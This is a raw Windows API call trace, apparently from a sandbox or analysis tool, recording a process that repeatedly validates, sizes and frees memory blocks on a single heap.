GetProcessHeap () returned 0x1fba65f0000 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f90a0) returned 1 [0126.241] GetProcessHeap () returned 0x1fba65f0000 [0126.241] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f90a0) returned 0x20 [0126.242] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f90a0) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa8b0) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa8b0) returned 0xe [0126.242] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa8b0) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4760) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4760) returned 0x18 [0126.242] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4760) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9010) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9010) returned 0x20 [0126.242] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9010) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9b00) returned 1 [0126.242] GetProcessHeap () returned 0x1fba65f0000 [0126.242] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9b00) returned 0x208 [0126.243] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9b00) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4c20) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4c20) returned 0x18 [0126.243] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4c20) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8e60) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8e60) returned 0x20 [0126.243] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8e60) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fbb30) returned 1 [0126.243] GetProcessHeap () returned 0x1fba65f0000 [0126.243] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fbb30) returned 0x200 [0126.244] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fbb30) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4c60) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4c60) returned 0x18 [0126.244] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4c60) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8e90) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8e90) returned 0x20 [0126.244] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8e90) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f43a0) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f43a0) returned 0x14 [0126.244] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f43a0) returned 1 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] GetProcessHeap () returned 0x1fba65f0000 [0126.244] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4380) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4380) returned 0x18 [0126.245] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4380) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9040) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9040) returned 0x20 [0126.245] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9040) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f46b0) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f46b0) returned 0x16 [0126.245] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f46b0) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4340) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4340) returned 0x18 [0126.245] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4340) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.245] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9070) returned 1 [0126.245] GetProcessHeap () returned 0x1fba65f0000 [0126.246] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9070) returned 0x20 [0126.246] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9070) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4ec0) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4ec0) returned 0x2 [0126.246] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4ec0) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4830) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4830) returned 0x20 [0126.246] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4830) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4880) returned 1 [0126.246] GetProcessHeap () returned 0x1fba65f0000 [0126.246] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4880) returned 0x20 [0126.247] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4880) returned 1 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f48b0) returned 1 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f48b0) returned 0x20 [0126.247] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f48b0) returned 1 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4420) returned 1 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4420) returned 0x20 [0126.247] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4420) returned 1 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] GetProcessHeap () returned 0x1fba65f0000 [0126.247] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fba60) returned 1 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.248] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fba60) returned 0x20 [0126.248] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fba60) returned 1 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.248] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fab70) returned 1 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.248] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fab70) returned 0xc [0126.248] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fab70) returned 1 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.248] GetProcessHeap () returned 0x1fba65f0000 [0126.255] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb520) returned 1 [0126.255] GetProcessHeap () returned 0x1fba65f0000 [0126.256] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb520) returned 0x20 [0126.256] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb520) returned 1 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f3910) returned 1 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f3910) returned 0x30 [0126.256] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f3910) returned 1 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb610) returned 1 [0126.256] GetProcessHeap () returned 0x1fba65f0000 [0126.256] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb610) returned 0x20 [0126.257] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb610) returned 1 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4780) returned 1 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4780) returned 0x30 [0126.257] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4780) returned 1 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb8b0) returned 1 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb8b0) returned 0x20 [0126.257] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb8b0) returned 1 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.257] GetProcessHeap () returned 0x1fba65f0000 [0126.258] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa970) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa970) returned 0x16 [0126.258] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa970) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb370) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb370) returned 0x20 [0126.258] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb370) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa9f0) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa9f0) returned 0x16 [0126.258] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa9f0) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb850) returned 1 [0126.258] GetProcessHeap () returned 0x1fba65f0000 [0126.258] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb850) returned 0x20 [0126.259] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb850) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba660a2f0) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba660a2f0) returned 0x82 [0126.259] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba660a2f0) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb9a0) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb9a0) returned 0x20 [0126.259] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb9a0) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fabf0) returned 1 [0126.259] GetProcessHeap () returned 0x1fba65f0000 [0126.259] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fabf0) returned 0xe [0126.259] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fabf0) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb490) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb490) returned 0x20 [0126.260] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb490) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa9d0) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa9d0) returned 0xc [0126.260] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa9d0) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb790) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb790) returned 0x20 [0126.260] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb790) returned 1 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] GetProcessHeap () returned 0x1fba65f0000 [0126.260] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fab30) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fab30) returned 0xe [0126.261] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fab30) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb4c0) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb4c0) returned 0x20 [0126.261] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb4c0) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65faa30) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65faa30) returned 0x10 [0126.261] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65faa30) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb880) returned 1 [0126.261] GetProcessHeap () returned 0x1fba65f0000 [0126.261] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb880) returned 0x20 [0126.261] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb880) returned 1 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4860) returned 1 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4860) returned 0x18 [0126.262] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4860) returned 1 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8f20) returned 1 [0126.262] GetProcessHeap () returned 0x1fba65f0000 [0126.262] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8f20) returned 0x20 [0126.263] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8f20) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8f50) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8f50) returned 0x20 [0126.263] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8f50) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f91c0) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f91c0) returned 0x20 [0126.263] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f91c0) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8f80) returned 1 [0126.263] GetProcessHeap () returned 0x1fba65f0000 [0126.263] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8f80) returned 0x20 [0126.264] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8f80) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4450) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4450) returned 0x18 [0126.264] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4450) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9100) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9100) returned 0x20 [0126.264] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9100) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8fb0) returned 1 [0126.264] GetProcessHeap () returned 0x1fba65f0000 [0126.264] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8fb0) returned 0x20 [0126.265] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8fb0) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9160) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9160) returned 0x20 [0126.265] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9160) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f8fe0) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f8fe0) returned 0x20 [0126.265] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f8fe0) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f9190) returned 1 [0126.265] GetProcessHeap () returned 0x1fba65f0000 [0126.265] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f9190) returned 0x20 [0126.266] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f9190) returned 1 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4470) returned 1 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4470) returned 0x18 [0126.266] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4470) returned 1 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f90d0) returned 1 [0126.266] GetProcessHeap () returned 0x1fba65f0000 [0126.266] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f90d0) returned 0x20 [0126.266] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f90d0) returned 1 